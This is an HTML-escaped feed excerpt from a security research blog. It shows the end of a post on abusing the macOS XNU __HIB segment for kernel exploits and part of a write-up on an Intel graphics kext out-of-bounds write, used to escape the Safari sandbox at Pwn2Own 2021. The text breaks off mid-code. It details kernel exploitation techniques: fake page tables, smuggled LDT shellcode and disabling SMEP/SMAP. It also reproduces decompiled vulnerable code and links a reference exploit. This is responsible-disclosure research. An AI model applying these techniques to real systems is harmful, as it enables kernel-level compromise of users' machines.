&lt;p&gt;This can be done using &lt;a href=&quot;https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/thread_set_exception_ports.html&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;thread_set_exception_ports()&lt;/code&gt;&lt;/a&gt; to register an exception port for &lt;code class=&quot;highlighter-rouge&quot;&gt;EXC_BAD_ACCESS&lt;/code&gt;. We spawn a thread to wait for the exception message, then respond with a message body containing the correct &lt;code class=&quot;highlighter-rouge&quot;&gt;ss&lt;/code&gt; selector, allowing the far call thread to continue.&lt;/p&gt;

&lt;h2 id=&quot;control-page-tables-control-everything&quot;&gt;Control Page Tables, Control Everything&lt;/h2&gt;

&lt;p&gt;Not only does the kernel slide reveal the kernel base’s virtual address, it likewise reveals its physical address. This gives us the physical address of the LDT for CPU 0, or in other words, the physical address of controlled data.&lt;/p&gt;

&lt;p&gt;This gives us an extremely powerful tool:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;If we reconstruct the call gate to jump to a &lt;code class=&quot;highlighter-rouge&quot;&gt;mov cr3&lt;/code&gt; instruction, we’ll immediately gain arbitrary ring0 code execution&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All we need to do is make sure we set up our fake page tables (residing in the LDT) properly:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The virtual address of the instruction following the &lt;code class=&quot;highlighter-rouge&quot;&gt;mov cr3&lt;/code&gt; should map to the physical address of shellcode smuggled into the LDT&lt;/li&gt;
  &lt;li&gt;The kernel stack should be mapped and writable (for CPU 0, this is symbol &lt;code class=&quot;highlighter-rouge&quot;&gt;master_sstk&lt;/code&gt; in the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment)&lt;/li&gt;
  &lt;li&gt;Empirically unnecessary, but to be safe, the GDT should be mapped (for CPU 0, symbol &lt;code class=&quot;highlighter-rouge&quot;&gt;master_gdt&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Note that this is only true for CPU 0, which has its LDT statically allocated in the &lt;code class=&quot;highlighter-rouge&quot;&gt;__HIB&lt;/code&gt; segment. The LDTs for other CPUs are &lt;a href=&quot;https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/i386/mp_desc.c.auto.html#:~:text=cpu_data_alloc&quot;&gt;allocated&lt;/a&gt; from the kernel heap, with virtual aliases inserted into the page tables for the dblmap. The physical addresses of these heap allocations cannot be directly inferred from the kernel slide.&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;kernel-shellcode&quot;&gt;Kernel Shellcode&lt;/h2&gt;

&lt;p&gt;With the constraints on the LDT descriptors, the shellcode we smuggle into the LDT will consist of chunks of 6 arbitrary bytes. If we use 2 bytes for a &lt;a href=&quot;https://www.felixcloutier.com/x86/jmp&quot;&gt;short jump&lt;/a&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;EB + offset&lt;/code&gt;), this leaves us chunks of 4 arbitrary bytes.&lt;/p&gt;

&lt;p&gt;While in theory this is game over, it would be easier to obtain unconstrained shellcode execution in a state with “normal” page tables. In pursuit of this goal, a simple solution is to use our constrained shellcode to disable SMEP and SMAP (which are just bits in the &lt;a href=&quot;https://wiki.osdev.org/CPU_Registers_x86#CR4&quot;&gt;CR4&lt;/a&gt; register), then return back to userspace. We can then trigger a hijacked virtual kernel call as before, but this time jump to arbitrary shellcode in userspace.&lt;/p&gt;

&lt;p&gt;A minor detail here is that control registers exist per CPU, so SMEP and SMAP would only be disabled on the CPU that executes the LDT shellcode.&lt;/p&gt;

&lt;p&gt;Another implementation detail is how to go about cleanly returning to userspace, which would require restoring the original page tables. We do this by having the shellcode perform the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Read &lt;code class=&quot;highlighter-rouge&quot;&gt;cpshadows[i].cpu_ucr3&lt;/code&gt; from the dblmap into &lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Modify the stack to form a valid &lt;code class=&quot;highlighter-rouge&quot;&gt;iretq&lt;/code&gt; layout&lt;/li&gt;
  &lt;li&gt;Jump into &lt;code class=&quot;highlighter-rouge&quot;&gt;ks_64bit_return()&lt;/code&gt; where it performs a cr3 switch (from &lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt;) followed by an &lt;code class=&quot;highlighter-rouge&quot;&gt;iretq&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;The concepts presented here highlight several powerful generalized techniques for macOS kernel exploits on Intel-based systems. We demonstrated how the dblmap can substantially weaken the efficacy of KASLR, provide several interesting kernel call targets, host smuggled kernel shellcode, and more.&lt;/p&gt;

&lt;p&gt;These primitives were used in the practical exploitation of numerous kernel vulnerabilities we responsibly disclosed to Apple over the past year. Abusing core low-level constructs of the operating system can lead to very interesting consequences, and prove incredibly challenging to mitigate.&lt;/p&gt;

&lt;p&gt;As linked previously, the source for a reference exploit using these techniques is available &lt;a href=&quot;https://github.com/ret2/Pwn2Own-2021-Safari&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content><author><name>Jack Dates</name></author><summary type="html">With the broad adoption of Kernel Address Space Layout Randomization (KASLR) by modern systems, obtaining an information leak is a necessary component of most privilege escalation exploits. This post will cover an implementation detail of XNU (the kernel used by Apple’s macOS) which can eliminate the need for a dedicated information leak vulnerability in many kernel exploits. The key lies in the __HIB segment of the kernel Mach-O, containing a subset of functions and data structures for system hibernation and low-level CPU management, which is always mapped at a known address. We will first provide a general overview of the __HIB segment and the various ways that it can be abused. Using our Pwn2Own 2021 kernel exploit as a real-world example, we show how this exploit could be simplified to use the general techniques described here removing the need for its previously tedious leak construction. Abusing fundamental operating system design can enable immortal exploit primitives</summary></entry><entry><title type="html">Exploiting Intel Graphics Kernel Extensions on macOS</title><link href="https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/" rel="alternate" type="text/html" title="Exploiting Intel Graphics Kernel Extensions on macOS" /><published>2022-06-29T10:00:00+00:00</published><updated>2022-06-29T10:00:00+00:00</updated><id>https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit</id><content type="html" xml:base="https://blog.ret2.io/2022/06/29/pwn2own-2021-safari-sandbox-intel-graphics-exploit/">&lt;p&gt;To escape the Safari sandbox for our &lt;a href=&quot;https://www.zerodayinitiative.com/blog/2021/4/2/pwn2own-2021-schedule-and-live-results&quot;&gt;Pwn2Own 2021&lt;/a&gt; submission, we exploited a vulnerability in the Intel graphics acceleration kernel extensions (drivers) on macOS. This post will detail the bug and how we went about exploiting it to achieve reliable kernel code execution.&lt;/p&gt;

&lt;p&gt;We delayed publishing this writeup as we discovered and reported a multitude of similar issues to Apple over the past year, the last of which was patched &lt;a href=&quot;https://support.apple.com/en-us/HT213257&quot;&gt;recently&lt;/a&gt;. With other researchers catching on, Intel graphics-related CVEs have become increasingly common among Apple’s security update listings. Quite recently, there was even an exploit discovered &lt;a href=&quot;https://support.apple.com/en-us/HT213220&quot;&gt;in-the-wild&lt;/a&gt; targeting the same Intel graphics kernel extensions discussed in this post.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_demo.mp4&quot; target=&quot;_blank&quot; data-title=&quot;A demo of the exploit obtaining kernel code execution from unprivileged user context&quot;&gt;
    
      &lt;video style=&quot;width: 100%&quot; controls=&quot;&quot; playsinline=&quot;&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
        &lt;source src=&quot;/assets/img/p2o_2021_eop_demo.mp4&quot; alt=&quot;&quot; /&gt;
      &lt;/video&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;A demo of the exploit obtaining kernel code execution from unprivileged user context&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;iokit-graphics-acceleration-overview&quot;&gt;IOKit Graphics Acceleration Overview&lt;/h2&gt;

&lt;p&gt;There are a variety of kernel drivers that implement graphics acceleration on macOS. The two relevant to the vulnerability discussed in this post are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOAcceleratorFamily2&lt;/code&gt; : generic platform-agnostic code and classes, e.g. &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelContext2&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;AppleIntel*Graphics&lt;/code&gt; : hardware-specific code and subclasses, e.g. &lt;code class=&quot;highlighter-rouge&quot;&gt;IGAccelGLContext&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The hardware-specific kernel extension (kext) that gets loaded depends on the CPU generation:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;AppleIntelICLGraphics&lt;/code&gt; for the latest &lt;a href=&quot;https://en.wikipedia.org/wiki/Ice_Lake_(microprocessor)&quot;&gt;Ice Lake&lt;/a&gt; hardware&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;AppleIntelKBLGraphics&lt;/code&gt; for &lt;a href=&quot;https://en.wikipedia.org/wiki/Kaby_Lake&quot;&gt;Kaby Lake&lt;/a&gt;/&lt;a href=&quot;https://en.wikipedia.org/wiki/Coffee_Lake&quot;&gt;Coffee Lake&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;AppleIntelSKLGraphics&lt;/code&gt; for &lt;a href=&quot;https://en.wikipedia.org/wiki/Skylake_(microarchitecture)&quot;&gt;Skylake&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;… and so on for older generations.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These drivers expose functionality to userspace through &lt;a href=&quot;https://developer.apple.com/library/archive/documentation/DeviceDrivers/Conceptual/IOKitFundamentals/Features/Features.html&quot;&gt;IOKit&lt;/a&gt;. In typical usage, drivers implement 3 things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Services&lt;/li&gt;
  &lt;li&gt;User clients&lt;/li&gt;
  &lt;li&gt;External methods&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A userspace program that wishes to communicate with the driver first obtains a mach port for the service. It then opens a specific user client indicated by numeric ID. External methods can then be invoked on the user client, selecting the method by numeric ID, optionally passing scalar and/or binary blob arguments. External methods can be thought of as RPC calls into the kernel driver.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_iokit_diagram.png&quot; data-lightbox=&quot;p2o_2021_eop_iokit_diagram.png&quot; data-title=&quot;From a Google Project Zero &amp;lt;a href='https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html'&amp;gt;blogpost&amp;lt;/a&amp;gt; which analyzed an iOS exploit chain&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_iokit_diagram.png&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;From a Google Project Zero &lt;a href=&quot;https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html&quot;&gt;blogpost&lt;/a&gt; which analyzed an iOS exploit chain&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;Another common way to interact with user clients is through shared memory (between userspace and kernel).&lt;/p&gt;

&lt;h2 id=&quot;intelaccelerator--ioaccelerator&quot;&gt;IntelAccelerator / IOAccelerator&lt;/h2&gt;

&lt;p&gt;On Intel-based Macs, the graphics acceleration service is named &lt;code class=&quot;highlighter-rouge&quot;&gt;IntelAccelerator&lt;/code&gt;, or &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelerator&lt;/code&gt;. Opening this service is explicitly &lt;a href=&quot;https://github.com/WebKit/WebKit/blob/4445bdf30face773b63e3effc38f7691896e0ddb/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in#L318&quot;&gt;allowed by the renderer/WebContent sandbox&lt;/a&gt;, although it appears there has been &lt;a href=&quot;https://github.com/WebKit/WebKit/blob/4445bdf30face773b63e3effc38f7691896e0ddb/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in#L123&quot;&gt;some effort&lt;/a&gt; to restrict allowed user clients and external methods. While Safari has a separate &lt;a href=&quot;https://github.com/WebKit/WebKit/tree/4445bdf30face773b63e3effc38f7691896e0ddb/Source/WebKit/GPUProcess&quot;&gt;GPU process&lt;/a&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelerator&lt;/code&gt; is still allowed by the WebContent sandbox profile (as of writing).&lt;/p&gt;

&lt;p&gt;To get a sense of available attack surface in &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelerator&lt;/code&gt; we can enumerate the service’s user clients with a little reverse engineering, by looking for an overridden &lt;code class=&quot;highlighter-rouge&quot;&gt;newUserClient&lt;/code&gt; function. This function will be invoked when userspace calls &lt;a href=&quot;https://developer.apple.com/documentation/iokit/1514515-ioserviceopen?language=objc&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOServiceOpen&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;AppleIntelICLGraphics&lt;/code&gt; does not implement &lt;code class=&quot;highlighter-rouge&quot;&gt;IntelAccelerator::newUserClient&lt;/code&gt;, so we’ll look to the superclass implemented in &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAcceleratorFamily2&lt;/code&gt;. There we find &lt;code class=&quot;highlighter-rouge&quot;&gt;IOGraphicsAccelerator2::newUserClient&lt;/code&gt;, which contains a switch-case over the input ID, giving us a collection of user clients we can create (each implemented as a C++ class).&lt;/p&gt;

&lt;p&gt;From there, we can look for external methods for each user client we are interested in. We look for each class overriding one of the following functions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;externalMethod&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;getTargetAndMethodForIndex&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;getAsyncTargetAndMethodForIndex&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these will take a numeric selector identifying the external method, and will either directly invoke the implementation, or return a structure containing information about it (e.g. a function pointer and argument types/counts). The corresponding userspace API, which ends up invoking these kernel functions, is the &lt;a href=&quot;https://developer.apple.com/search/?q=ioconnectcallmethod&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOConnectCallMethod&lt;/code&gt;&lt;/a&gt; family of functions.&lt;/p&gt;

&lt;p&gt;Less commonly, there are also “traps,” which can be invoked using one of the &lt;a href=&quot;https://developer.apple.com/search/?q=ioconnectTrap&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOConnectTrap&lt;/code&gt;&lt;/a&gt; functions. The respective overridden kernel functions are &lt;code class=&quot;highlighter-rouge&quot;&gt;getTargetAndTrapForIndex&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;getExternalTrapForIndex&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Some user clients also provide for mapping shared memory into userspace with &lt;a href=&quot;https://developer.apple.com/documentation/iokit/1514377-ioconnectmapmemory?language=objc&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOConnectMapMemory&lt;/code&gt;&lt;/a&gt;. These user clients override the &lt;code class=&quot;highlighter-rouge&quot;&gt;clientMemoryForType&lt;/code&gt; kernel function.&lt;/p&gt;

&lt;h2 id=&quot;inspecting-a-user-client&quot;&gt;Inspecting a User Client&lt;/h2&gt;

&lt;p&gt;As an example, take the user client of type 6 on the &lt;code class=&quot;highlighter-rouge&quot;&gt;IntelAccelerator&lt;/code&gt; service, &lt;code class=&quot;highlighter-rouge&quot;&gt;IGAccelSharedUserClient&lt;/code&gt; (inheriting from &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelSharedUserClient2&lt;/code&gt;). Looking for external methods, we come across:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; color:rgb(212,212,212);background-color:rgb(30,30,30);font-family:Consolas,&amp;quot;Courier New&amp;quot;,monospace;font-size:14px;line-height:19px;white-space:pre-wrap&quot;&gt;&lt;div&gt;&lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;IOExternalMethod&lt;/span&gt;&lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;IOAccelSharedUserClient2&lt;/span&gt;::&lt;span style=&quot;color:rgb(220,220,170)&quot;&gt;getT&lt;wbr /&gt;argetAndMethodForIndex&lt;/span&gt;(..., &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;index&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color:rgb(197,134,192)&quot;&gt;if&lt;/span&gt; ( index &amp;lt; &lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;20&lt;/span&gt; )&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(197,134,192)&quot;&gt;return&lt;/span&gt; &amp;amp;&lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;IOAccelSharedUserClient2&lt;/span&gt;::&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;sSh&lt;wbr /&gt;aredMethods&lt;/span&gt;[index];&lt;/div&gt;&lt;div&gt;&amp;nbsp; &lt;span style=&quot;color:rgb(197,134,192)&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;We see there is a static array of external method structures in the data section. This is a common pattern.&lt;/p&gt;

&lt;p&gt;This specific user client (&lt;code class=&quot;highlighter-rouge&quot;&gt;IGAccelSharedUserClient&lt;/code&gt;) is a helper of sorts, and allows creating various objects to be used with other user clients. A few of the external methods are &lt;code class=&quot;highlighter-rouge&quot;&gt;new_resource&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;create_shmem&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;allocate_fence_memory&lt;/code&gt;, and &lt;code class=&quot;highlighter-rouge&quot;&gt;set_resource_purgeable&lt;/code&gt;. The “namespace” of created objects can be shared with another user client by connecting the two with &lt;a href=&quot;https://developer.apple.com/documentation/iokit/1514609-ioconnectaddclient?language=objc&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;IOConnectAddClient&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Resources (a.k.a textures), represented by the &lt;code class=&quot;highlighter-rouge&quot;&gt;IGAccelResource&lt;/code&gt; class, will be useful later on. The &lt;code class=&quot;highlighter-rouge&quot;&gt;new_resource&lt;/code&gt; external method creates a resource with user-specified properties and returns a resource id back to userspace. It also maps the backing buffer of the resource (of user-specified size) into the process’s address space.&lt;/p&gt;

&lt;h2 id=&quot;sideband-buffers&quot;&gt;Sideband Buffers&lt;/h2&gt;

&lt;p&gt;There are several user clients inheriting from &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelContext2&lt;/code&gt;. These “context” objects provide a few types of shared memory, type 0 being a so-called sideband buffer.&lt;/p&gt;

&lt;p&gt;Sideband buffers can be submitted via external method 2, &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelContext2::submit_data_buffers&lt;/code&gt;. This eventually ends up in &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelContext2::processSidebandBuffer&lt;/code&gt;, which processes “tokens” in the sideband buffer according to a simple binary format:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/p2o_2021_eop_sideband_format.svg&quot; data-lightbox=&quot;p2o_2021_eop_sideband_format.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/p2o_2021_eop_sideband_format.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;The first two bytes indicate the token id, a sort of opcode, that will determine how the token body is to be handled. The next two bytes declare the total token size in dwords, i.e. a token with an empty body would have a size of 2.&lt;/p&gt;

&lt;p&gt;The next slot, &lt;code class=&quot;highlighter-rouge&quot;&gt;db0_off&lt;/code&gt;, indicates an offset into “data buffer 0.” In this context, a data buffer is a special type of resource (&lt;code class=&quot;highlighter-rouge&quot;&gt;IGAccelResource&lt;/code&gt;). A token opcode of 0 can be used to “bind” data buffer 0; the token body will contain the desired resource id to bind.&lt;/p&gt;

&lt;p&gt;When iterating over the sideband buffer tokens, an auxiliary structure, &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelCommandStreamInfo&lt;/code&gt;, will contain certain fields describing the state of the command stream and current token. This provides convenient access to common fields for the various token handlers. One such field, &lt;code class=&quot;highlighter-rouge&quot;&gt;db0_ptr&lt;/code&gt;, stores a pointer into data buffer 0, offset by the respective token’s &lt;code class=&quot;highlighter-rouge&quot;&gt;db0_off&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The function &lt;code class=&quot;highlighter-rouge&quot;&gt;processSidebandBuffer&lt;/code&gt; performs some basic bounds checking to ensure &lt;code class=&quot;highlighter-rouge&quot;&gt;db0_off&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;token_size&lt;/code&gt; are not too large, then defers handling the token to a virtual method &lt;code class=&quot;highlighter-rouge&quot;&gt;processSidebandToken&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The various overridden implementations follow a similar pattern for most of the context objects. If the context is supposed to handle the opcode, it passes off to a token handler for that opcode, otherwise it defers to the superclass &lt;code class=&quot;highlighter-rouge&quot;&gt;processSidebandToken&lt;/code&gt; function. All of the token handlers seem to be consistently named &lt;code class=&quot;highlighter-rouge&quot;&gt;process_token_*&lt;/code&gt;, so they are relatively easy to enumerate.&lt;/p&gt;

&lt;h2 id=&quot;out-of-bounds-write-in-vphal-handler&quot;&gt;Out-Of-Bounds Write in VPHAL Handler&lt;/h2&gt;

&lt;p&gt;One of the &lt;code class=&quot;highlighter-rouge&quot;&gt;IOAccelContext2&lt;/code&gt; subclass user clients, &lt;code class=&quot;highlighter-rouge&quot;&gt;IGAccelVideoContextMain&lt;/code&gt;, has a handler for “VPHAL” tokens. Relevant portions of the vulnerable code are reproduced below:&lt;/p&gt;

&lt;div style=&quot;border: 1px solid #444; padding: 1rem; background-color: rgb(30, 30, 30); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;background-color: rgb(30, 30, 30); line-height: 19px; white-space: pre-wrap;&quot;&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;IGAccelVideoContextMain&lt;/span&gt;::&lt;span style=&quot;color:rgb(220,220,170)&quot;&gt;&lt;span zeum4c1=&quot;PR_3_0&quot; data-ddnwab=&quot;PR_3_0&quot; aria-invalid=&quot;spelling&quot; class=&quot;LI ng&quot;&gt;proce&lt;/span&gt;&lt;wbr /&gt;ss_token_VPHAL&lt;/span&gt;(&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;        IGAccelVideoCon&lt;wbr /&gt;textMain&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;this&lt;/span&gt;,&lt;/div&gt;&lt;div style=&quot;&quot;&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;        &lt;/font&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;IOAccelCommandStreamInfo&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt; &lt;/font&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;info&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;)&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;&quot;&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;int&lt;/span&gt;* cur = &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;info&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;sb_cur&lt;/span&gt;;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt; // current token&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;IGAccelVideoContextMain&lt;/span&gt;::&lt;span style=&quot;color:rgb(220,220,170)&quot;&gt;patch&lt;wbr /&gt;_vphal_command_buffer&lt;/span&gt;(&lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;this&lt;/span&gt;, info, cur+&lt;span style=&quot;color:rgb(181,206,168)&quot;&gt;5&lt;/span&gt;);&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;}&lt;/div&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;IGAccelVideoContextMain&lt;/span&gt;::&lt;span style=&quot;color:rgb(220,220,170)&quot;&gt;patch&lt;wbr /&gt;_vphal_command_buffer&lt;/span&gt;(&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(78,201,176)&quot;&gt;        IGAccelV&lt;wbr /&gt;ideoContextMain&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;this&lt;/span&gt;,&lt;/div&gt;&lt;div style=&quot;&quot;&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;        &lt;/font&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;IOAccelCommandStreamInfo&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt; &lt;/font&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;info&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;,&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;&quot;&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;        &lt;/font&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;unsigned&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt; &lt;/font&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt; &lt;/font&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;sb&lt;/span&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;)&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;&quot;&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;{&lt;/font&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt;&amp;nbsp; &amp;nbsp; // offset pointer into data buffer 0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color:rgb(86,156,214)&quot;&gt;int&lt;/span&gt;* db0 = &lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;info&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color:rgb(156,220,254)&quot;&gt;db0_ptr&lt;/span&gt;;&lt;/div&gt;&lt;font color=&quot;#d4d4d4&quot;&gt;&lt;br /&gt;&lt;/font&gt;&lt;div style=&quot;color: rgb(212, 212, 212);&quot;&gt;&lt;span style=&quot;color:rgb(106,153,85)&quot;&gt;&amp;nbsp; &amp;nbsp; // take a resource id from sb, get its &quot;gpu 